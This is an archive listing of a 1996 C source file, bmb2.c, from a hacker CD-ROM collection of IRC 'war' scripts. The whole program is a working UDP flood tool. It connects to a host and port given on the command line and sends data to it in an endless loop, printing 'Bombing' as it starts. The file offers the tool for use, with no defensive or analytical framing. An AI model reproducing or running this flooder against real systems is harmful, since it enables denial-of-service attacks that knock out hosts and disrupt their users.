home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HaCKeRz KrOnIcKLeZ 3
/
HaCKeRz_KrOnIcKLeZ.iso
/
ircscripts
/
warirc
/
bmb2.c
< prev
next >
Wrap
C/C++ Source or Header
|
1996-04-23
|
1KB
|
50 lines
#define BOMB_STRING "0123456789"
#define BOMB_SIZE 10
#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
int echo_connect(char *, short);
int echo_connect(char *server, short port)
{
struct sockaddr_in sin;
struct hostent *hp;
int thesock;
printf("Bombing %s, port %d\n", server, port);
hp = gethostbyname(server);
if (hp==NULL) {
printf("Unknown host: %s\n",server);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(port);
thesock = socket(AF_INET, SOCK_DGRAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
return thesock;
}
main(int argc, char **argv)
{
int s;
if(argc != 3)
{
printf("Syntax: bmb host port\n");
printf("Port can be any port, any of them work equally well\n");
exit(0);
}
s=echo_connect(argv[1], atoi(argv[2]));
for(;;)
{
send(s, BOMB_STRING, BOMB_SIZE, 0);
}
}